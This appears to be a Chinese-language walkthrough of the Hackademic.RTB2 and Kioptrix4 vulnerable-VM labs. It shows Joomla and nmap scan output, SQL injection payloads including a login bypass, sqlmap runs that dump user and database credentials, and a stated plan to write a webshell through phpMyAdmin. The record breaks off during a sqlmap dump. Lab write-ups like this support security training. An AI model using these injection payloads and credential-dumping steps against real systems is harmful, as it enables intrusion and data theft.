    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://192.168.84.143:666/ ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 1.5

[+] Core Joomla Vulnerability
[++] Joomla! 1.5 Beta 2 - 'Search' Remote Code Execution
EDB : https://www.exploit-db.com/exploits/4212/

Joomla! 1.5 Beta1/Beta2/RC1 - SQL Injection
CVE : CVE-2007-4781
EDB : https://www.exploit-db.com/exploits/4350/
                                                                                                       
Joomla! 1.5.x - (Token) Remote Admin Change Password                                                   
CVE : CVE-2008-3681                                                                                    
EDB : https://www.exploit-db.com/exploits/6234/                                                        
                                                                                                       
Joomla! 1.5.x - Cross-Site Scripting / Information Disclosure                                          
CVE: CVE-2011-4909                                                                                     
EDB : https://www.exploit-db.com/exploits/33061/                                                       
                                                                                                       
Joomla! 1.5.x - 404 Error Page Cross-Site Scripting                                                    
EDB : https://www.exploit-db.com/exploits/33378/                                                       
                                                                                                       
Joomla! 1.5.12 - read/exec Remote files                                                                
EDB : https://www.exploit-db.com/exploits/11263/                                                       
                                                                                                       
Joomla! 1.5.12 - connect back Exploit                                                                  
EDB : https://www.exploit-db.com/exploits/11262/                                                       
                                                                                                       
Joomla! Plugin 'tinybrowser' 1.5.12 - Arbitrary File Upload / Code Execution (Metasploit)              
CVE : CVE-2011-4908                                                                                    
EDB : https://www.exploit-db.com/exploits/9926/                                                        
                                                                                                       
Joomla! 1.5 - URL Redirecting                                                                          
EDB : https://www.exploit-db.com/exploits/14722/                                                       
                                                                                                       
Joomla! 1.5.x - SQL Error Information Disclosure                                                       
EDB : https://www.exploit-db.com/exploits/34955/                                                       
                                                                                                       
Joomla! - Spam Mail Relay                                                                              
EDB : https://www.exploit-db.com/exploits/15979/                                                       
                                                                                                       
Joomla! 1.5/1.6 - JFilterInput Cross-Site Scripting Bypass                                             
EDB : https://www.exploit-db.com/exploits/16091/                                                       
                                                                                                       
Joomla! < 1.7.0 - Multiple Cross-Site Scripting Vulnerabilities                                        
EDB : https://www.exploit-db.com/exploits/36176/                                                       
                                                                                                       
Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution                                        
CVE : CVE-2015-8562                                                                                    
EDB : https://www.exploit-db.com/exploits/38977/                                                       
                                                                                                       
Joomla! 1.0 < 3.4.5 - Object Injection 'x-forwarded-for' Header Remote Code Execution                  
CVE : CVE-2015-8562 , CVE-2015-8566                                                                    
EDB : https://www.exploit-db.com/exploits/39033/                                                       
                                                                                                       
Joomla! 1.5.0 Beta - 'pcltar.php' Remote File Inclusion                                                
CVE : CVE-2007-2199                                                                                    
EDB : https://www.exploit-db.com/exploits/3781/                                                        
                                                                                                       
Joomla! Component xstandard editor 1.5.8 - Local Directory Traversal                                   
CVE : CVE-2009-0113                                                                                    
EDB : https://www.exploit-db.com/exploits/7691/                                                        
                                                                                                       
                                                                                                       
                                                                                                       
[+] Checking Directory Listing                                                                         
[++] directory has directory listing :                                                                 
http://192.168.84.143:666/tmp                                                                          
                                                                                                       
                                                                                                       
[+] Checking apache info/status files                                                                  
[++] Readable info/status files are not found                                                          
                                                                                                       
[+] admin finder                                                                                       
[++] Admin page : http://192.168.84.143:666/administrator/                                             
                                                                                                       
[+] Checking robots.txt existing                                                                       
[++] robots.txt is found                                                                               
path : http://192.168.84.143:666/robots.txt                                                            
                                                                                                       
Interesting path found from robots.txt                                                                 
http://192.168.84.143:666/administrator/                                                               
http://192.168.84.143:666/cache/                                                                       
http://192.168.84.143:666/components/                                                                  
http://192.168.84.143:666/images/                                                                      
http://192.168.84.143:666/includes/                                                                    
http://192.168.84.143:666/installation/                                                                
http://192.168.84.143:666/language/                                                                    
http://192.168.84.143:666/libraries/                                                                   
http://192.168.84.143:666/media/                                                                       
http://192.168.84.143:666/modules/                                                                     
http://192.168.84.143:666/plugins/                                                                     
http://192.168.84.143:666/templates/                                                                   
http://192.168.84.143:666/tmp/                                                                         
http://192.168.84.143:666/xmlrpc/                                                                      
                                                                                                       
                                                                                                       
[+] Finding common backup files name                                                                   
[++] Backup files are not found                                                                        
                                                                                                       
[+] Finding common log files name                                                                      
[++] error log is not found                                                                            
                                                                                                       
[+] Checking sensitive config.php.x file                                                               
[++] Readable config file is found                                                                     
 config file path : http://192.168.84.143:666/configuration.php-dist 
```

 - 使用sqlmap查看配置文件中的phpmyadmin的用户名和密码，然后利用phpmyadmin写木马

``` bash
os-shell> cat configuration.php
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
<?php
class JConfig {
/* Site Settings */
var $offline = '0';
var $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.';
var $sitename = 'Hackademic.RTB2';
var $editor = 'tinymce';
var $list_limit = '20';
var $legacy = '0';
/* Debug Settings */
var $debug = '0';
var $debug_lang = '0';
/* Database Settings */
var $dbtype = 'mysql';
var $host = 'localhost';
var $user = 'root';
var $password = 'yUtJklM97W';
var $db = 'joomla';
var $dbprefix = 'jos_';
/* Server Settings */
var $live_site = '';
var $secret = 'iFzlVUCg9BBPoUDU';
var $gzip = '0';
var $error_reporting = '-1';
var $helpurl = 'http://help.joomla.org';
var $xmlrpc_server = '0';
var $ftp_host = '127.0.0.1';
var $ftp_port = '21';
var $ftp_user = '';
var $ftp_pass = '';
var $ftp_root = '';
var $ftp_enable = '0';
var $force_ssl = '0';
/* Locale Settings */
var $offset = '0';
var $offset_user = '0';
/* Mail Settings */
var $mailer = 'mail';
var $mailfrom = 'admin@hackademirtb2.com';
var $fromname = 'Hackademic.RTB2';
var $sendmail = '/usr/sbin/sendmail';
var $smtpauth = '0';
var $smtpsecure = 'none';
var $smtpport = '25';
var $smtpuser = '';
var $smtppass = '';
var $smtphost = 'localhost';
/* Cache Settings */
var $caching = '0';
var $cachetime = '15';
var $cache_handler = 'file';
/* Meta Settings */
var $MetaDesc = 'Joomla! - the dynamic portal engine and content management system';
var $MetaKeys = 'joomla, Joomla';
var $MetaTitle = '1';
var $MetaAuthor = '1';
/* SEO Settings */
var $sef           = '0';
var $sef_rewrite   = '0';
var $sef_suffix    = '0';
/* Feed Settings */
var $feed_limit   = 10;
var $feed_email   = 'author';
var $log_path = '/var/www/logs';
var $tmp_path = '/var/www/tmp';
/* Session Setting */
var $lifetime = '15';
var $session_handler = 'database';
}
?>
---
```

账号密码为:root/yUtJklM97W

具体参考：[phpmyadmin getshell](https://www.jianshu.com/p/ddd41b841c36)

 - 使用msf中的auxiliary/scanner/http/joomla_plugins模块扫描

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  

     .~+P``````-o+:.                                      -o+:.
.+oooyysyyssyyssyddh++os-`````                        ```````````````          `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
                                `...............`              `...-/////...`


                                  .::::::::::-.                     .::::::-
                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
                                 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
                                  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
                                   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
          /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
          -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
          .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================

                     Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                        Press SPACE BAR to continue



       =[ metasploit v5.0.63-dev                          ]
+ -- --=[ 1951 exploits - 1091 auxiliary - 334 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use auxiliary/scanner/http/joomla_plugins
msf5 auxiliary(scanner/http/joomla_plugins) > set RHOSTS 192.168.84.143
RHOSTS => 192.168.84.143
msf5 auxiliary(scanner/http/joomla_plugins) > set RPORT 666
RPORT => 666
msf5 auxiliary(scanner/http/joomla_plugins) > exploit 

[+] Plugin: /administrator/ 
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ 
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log 
[+] Plugin: /components/com_abc/ 
[+] Page: /index.php?option=com_abc
[+] Plugin: /components/com_amblog/ 
[+] Page: /index.php?option=com_amblog
[+] Plugin: /components/com_banners/ 
[+] Page: /index.php?option=com_banners
[+] Plugin: /components/com_contact/ 
[+] Page: /index.php?option=com_contact
[+] Plugin: /components/com_content/ 
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_mailto/ 
[+] Plugin: /components/com_media/ 
[+] Plugin: /components/com_newsfeeds/ 
[+] Page: /index.php?option=com_newsfeeds
[+] Plugin: /components/com_poll/ 
[+] Plugin: /components/com_search/ 
[+] Plugin: /components/com_user/ 
[+] Page: /index.php?option=com_user
[+] Plugin: /components/com_user/controller.php 
[+] Plugin: /components/com_weblinks/ 
[+] Page: /index.php?option=com_weblinks
[+] Plugin: /components/com_wrapper/ 
[+] Page: /index.php?option=com_wrapper
[+] Plugin: /includes/joomla.php 
[+] Plugin: /index.php?option=com_abc&view=abc&letter=AS&sectionid=' 
[+] Vulnerability: Potential SQL Injection
[+] Plugin: /index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version 
[+] Page: /index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- 
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
[+] Plugin: /libraries/joomla/utilities/compat/php50x.php 
[+] Plugin: /libraries/phpmailer/phpmailer.php 
[+] Plugin: /libraries/phpxmlrpc/xmlrpcs.php 
[+] Plugin: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ 
[+] Plugin: /plugins/editors/xstandard/attachmentlibrary.php 
[+] Plugin: /templates/ja_purity/ 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

发现存在注入漏洞,接下来sqlmap一波就行。

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="red">***The end,to be continue...***</font>
<!-- kb:end Hackademic-RTB2 -->

</details>

<a id="case-kioptrix4"></a>

## 登录查询与 MySQL UDF 权限

SQL 注入提供入口，受限 shell 与数据库进程身份决定后续操作。原记录保留 sys_exec、账户组修改及替代路径。

<p class="kb-provenance">来源 Kioptrix4 · 原记录 2019-12-10 · 20 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-kioptrix4">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Kioptrix4 -->

#### 介绍

名称：Kioptrix: Level 1.3 (#4)
发布日期：2012年2月8日

下载链接:
Kioptrix4_vmware.rar (Size: 208 MB)
Download: [http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar](http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar)
Download(Mirror): [https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar](https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar)
Download(Torrent): [https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar.torrent](https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar.torrent)

虚拟机之间再次存在很长的延迟，但这无济于事。 工作，家庭必须是第一位的。 博客和兴趣爱好排在列表的下方。 这些事情并不像人们想象的那么容易。 必须为这些挑战投入时间和一些计划，以确保：



1.可以远程获得root权限[编辑：对不起，我的意思不是]

1a. 可以远程破坏机器
 - 1.停留在此网站的目标受众范围内
 - 2.必须是“现实的”（好吧……）
 - 3.应该为我复习。 无论是PHP还是MySQL用法等等。我已经有一段时间没做过了。

我也很难导出这个。 因此，请花时间阅读本文结尾处的评论。

秉承事物的精神，这一挑战与其他挑战有所不同，但仍处于轻松的境界。 我知道自己重复一遍，但必须始终清楚：这些VM是针对初学者的。 这是一个起点。

我很想编写一些小型的自定义应用程序，以供人们使用。 但我是管理员，不是编码员。 学习/编码这样的应用程序将花费太多时间。 并不是说我永远不会尝试做一个，但我不会屏住呼吸。 如果有人想要更艰巨的挑战，我敢肯定，Inter-tube会将他们抱在某个地方。 或者，您也可以随时注册Offsec的PWB课程。无耻的插头

-- 我必须说几件事。 我使用新平台制作了这张图片。 希望一切正常，但我无法测试所有内容。 最初，VM在启动时很难获得IP。 由于某种原因，NIC无法启动，并且机器留有环回接口。 我希望我解决了这个问题。 如果这个启动需要一点时间，请不要感到惊讶。 它正在尝试获取IP。 有点耐心。 有人为我测试了映像，还报告说VM开机后就挂了。 重新启动后一切都很好。 只有一个人报告了此消息，因此希望这不是主要问题。 如果计划在vmFusion上运行它，则可能需要转换想象以适合您的融合版本。
-- 还为使用Hyper-V的用户添加了VHD文件以供下载。 你们可能需要将网络适配器更改为“旧版网络适配器”。 我已经对该文件进行了测试，这个文件似乎对我来说还算不错…如果您遇到问题，或者由于某种原因它无法正常工作，请发送电子邮件comms [=]kioptrix.com

感谢www.n00bpentesting.com上的@shai_saint使用各种VM解决方案进行急需的测试。

感谢Hackfest.ca的Patrick也运行了VM并报告了一些问题。 Swappage和@Tallenz也这样做。 所有的帮助都是感激的家伙

所以我希望你喜欢这个。

Kioptrix团队

Note:只是一个虚拟硬盘。 您需要创建一个新的虚拟机并附加现有的硬盘驱动器.

运行服务:

 - Apache
 - MySQL
 - OpenSSH
 - PHP
 - Samba

漏洞知识点:

 - 文件包含
 - 操作系统命令注入
 - 权限提升
 - 特权不正确的服务
 - SQL注入

#### 虚拟机与网络配置

点击vmware新建虚拟机，选择ubuntu,接下来的配置，除了下图配置与平常不同，其他步骤均与平常相同

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub32.jpg)

.vmdk文件为压缩包中解压出的文件

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub33.jpg)

将虚拟靶机和kali攻击机的vmware网络都配置成[自定义：特定虚拟网络的<VMnet8(NAT模式)>]即可。

#### 信息收集(仅截取关键部分)

上nmap

``` bash
nmap -sn -v 192.168.84.0/24
```

``` bash
Nmap scan report for 192.168.84.136 [host down]
Nmap scan report for 192.168.84.137 [host down]
Nmap scan report for 192.168.84.138 [host down]
Nmap scan report for 192.168.84.139
Host is up (0.0010s latency).
MAC Address: 00:0C:29:F3:0E:E9 (VMware)
Nmap scan report for 192.168.84.140 [host down]
Nmap scan report for 192.168.84.141 [host down]
Nmap scan report for 192.168.84.142 [host down]
Nmap scan report for 192.168.84.143 [host down]
```

``` bash
nmap -A -v -sS -Pn -T4 --script=vuln 192.168.84.139
```

``` bash
Scanning 192.168.84.139 [1000 ports]
Discovered open port 139/tcp on 192.168.84.139
Discovered open port 80/tcp on 192.168.84.139
Discovered open port 22/tcp on 192.168.84.139
Discovered open port 445/tcp on 192.168.84.139
Completed SYN Stealth Scan at 20:57, 2.09s elapsed (1000 total ports)
Initiating Service scan at 20:57
Scanning 4 services on 192.168.84.139
Completed Service scan at 20:57, 11.02s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.84.139
NSE: Script scanning 192.168.84.139.
Initiating NSE at 20:57
Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 3 (3 waiting)
NSE Timing: About 99.42% done; ETC: 20:59 (0:00:01 remaining)
Completed NSE at 21:02, 311.88s elapsed
Initiating NSE at 21:02
Completed NSE at 21:02, 0.12s elapsed
Nmap scan report for 192.168.84.139
Host is up (0.00036s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:openbsd:openssh:4.7p1: 
|       CVE-2010-4478   7.5     https://vulners.com/cve/CVE-2010-4478
|       CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906
|       CVE-2016-10708  5.0     https://vulners.com/cve/CVE-2016-10708
|       CVE-2010-4755   4.0     https://vulners.com/cve/CVE-2010-4755
|_      CVE-2008-5161   2.6     https://vulners.com/cve/CVE-2008-5161
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.84.139
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.84.139:80/
|     Form id: myusername
|     Form action: checklogin.php
|     
|     Path: http://192.168.84.139:80/checklogin.php
|     Form id: 
|     Form action: index.php
|     
|     Path: http://192.168.84.139:80/index.php
|     Form id: myusername
|_    Form action: checklogin.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /database.sql: Possible database backup
|   /icons/: Potentially interesting folder w/ directory listing
|   /images/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /index/: Potentially interesting folder
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.2.8: 
|       CVE-2010-0425   10.0    https://vulners.com/cve/CVE-2010-0425
|       CVE-2011-3192   7.8     https://vulners.com/cve/CVE-2011-3192
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2009-1891   7.1     https://vulners.com/cve/CVE-2009-1891
|       CVE-2009-1890   7.1     https://vulners.com/cve/CVE-2009-1890
|       CVE-2012-0883   6.9     https://vulners.com/cve/CVE-2012-0883
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2013-1862   5.1     https://vulners.com/cve/CVE-2013-1862
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2011-3368   5.0     https://vulners.com/cve/CVE-2011-3368
|       CVE-2010-1452   5.0     https://vulners.com/cve/CVE-2010-1452
|       CVE-2010-0408   5.0     https://vulners.com/cve/CVE-2010-0408
|       CVE-2009-2699   5.0     https://vulners.com/cve/CVE-2009-2699
|       CVE-2008-2364   5.0     https://vulners.com/cve/CVE-2008-2364
|       CVE-2007-6750   5.0     https://vulners.com/cve/CVE-2007-6750
|       CVE-2009-1195   4.9     https://vulners.com/cve/CVE-2009-1195
|       CVE-2012-0031   4.6     https://vulners.com/cve/CVE-2012-0031
|       CVE-2011-3607   4.4     https://vulners.com/cve/CVE-2011-3607
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-3499   4.3     https://vulners.com/cve/CVE-2012-3499
|       CVE-2012-0053   4.3     https://vulners.com/cve/CVE-2012-0053
|       CVE-2011-4317   4.3     https://vulners.com/cve/CVE-2011-4317
|       CVE-2011-3639   4.3     https://vulners.com/cve/CVE-2011-3639
|       CVE-2011-3348   4.3     https://vulners.com/cve/CVE-2011-3348
|       CVE-2011-0419   4.3     https://vulners.com/cve/CVE-2011-0419
|       CVE-2010-0434   4.3     https://vulners.com/cve/CVE-2010-0434
|       CVE-2008-2939   4.3     https://vulners.com/cve/CVE-2008-2939
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|       CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
|_      CVE-2011-4415   1.2     https://vulners.com/cve/CVE-2011-4415
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:F3:0E:E9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.009 days (since Mon Dec  9 20:49:38 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
```
使用工具enum4linux得到如下信息

``` bash
root@kali:~# enum4linux 192.168.84.139
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Dec 10 00:55:51 2019

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 192.168.84.139
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================== 
|    Enumerating Workgroup/Domain on 192.168.84.139    |
 ====================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ============================================== 
|    Nbtstat Information for 192.168.84.139    |
 ============================================== 
Looking up status of 192.168.84.139
        KIOPTRIX4       <00> -         B <ACTIVE>  Workstation Service
        KIOPTRIX4       <03> -         B <ACTIVE>  Messenger Service
        KIOPTRIX4       <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name

        MAC Address = 00-00-00-00-00-00

 ======================================= 
|    Session Check on 192.168.84.139    |
 ======================================= 
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.
```

dirb扫目录

``` bash
root@kali:~# dirb http://192.168.84.139/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Dec 10 00:58:55 2019
URL_BASE: http://192.168.84.139/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.84.139/ ----
+ http://192.168.84.139/cgi-bin/ (CODE:403|SIZE:329)                                          
==> DIRECTORY: http://192.168.84.139/images/                                                  
+ http://192.168.84.139/index (CODE:200|SIZE:1255)                                            
+ http://192.168.84.139/index.php (CODE:200|SIZE:1255)                                        
==> DIRECTORY: http://192.168.84.139/john/                                                    
+ http://192.168.84.139/logout (CODE:302|SIZE:0)                                              
+ http://192.168.84.139/member (CODE:302|SIZE:220)                                            
+ http://192.168.84.139/server-status (CODE:403|SIZE:334)                                     
                                                                                              
---- Entering directory: http://192.168.84.139/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                              
---- Entering directory: http://192.168.84.139/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Dec 10 00:59:00 2019
DOWNLOADED: 4612 - FOUND: 6
```
wfuzz进行模糊测试

``` bash
root@kali:~# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --hc 404 http://192.168.84.139/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://192.168.84.139/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                             
===================================================================

000000566:   403        10 L     33 W     329 Ch      "cgi-bin/"                          
000001337:   301        9 L      31 W     356 Ch      "images"                            
000001350:   200        45 L     94 W     1255 Ch     "index"                             
000001458:   301        9 L      31 W     354 Ch      "john"                              
000001629:   302        0 L      0 W      0 Ch        "logout"                            
000001736:   302        1 L      22 W     220 Ch      "member"                            
000002294:   301        9 L      31 W     356 Ch      "robert"                            

Total time: 3.234193
Processed Requests: 3024
Filtered Requests: 3017
Requests/sec.: 935.0089
```

访问页面，发现登录口存在sql注入漏洞

 - 手工注入

用户名使用john，密码使用1' or '1'='1

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub34.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub35.jpg)

得到两个密码

``` bash
Username 	: 	john
Password 	: 	MyNameIsJohn

Username 	: 	robert
Password 	: 	ADGAdsafdfwt4gadfga==
```

 - 使用sqlmap

跑出注入点

``` bash
root@kali:~# sqlmap -r sqlmap.txt
        ___
       __H__                                                                                   
 ___ ___[.]_____ ___ ___  {1.3.11#stable}                                                      
|_ -| . [']     | .'| . |                                                                      
|___|_  [']_|_|_|__,|  _|                                                                      
      |_|V...       |_|   http://sqlmap.org                                                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:21:00 /2019-12-10/

[01:21:00] [INFO] parsing HTTP request from 'sqlmap.txt'
[01:21:00] [INFO] resuming back-end DBMS 'mysql' 
[01:21:00] [INFO] testing connection to the target URL
[01:21:00] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[01:21:00] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:21:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 01:21:00 /2019-12-10/
```
跑出账号密码,果真还是sqlmap屌炸天！！！！

``` bash
root@kali:~# sqlmap -r sqlmap.txt -D members -T members --dump
        ___
       __H__                                                                                         
 ___ ___[)]_____ ___ ___  {1.3.11#stable}                                                            
|_ -| . [)]     | .'| . |                                                                            
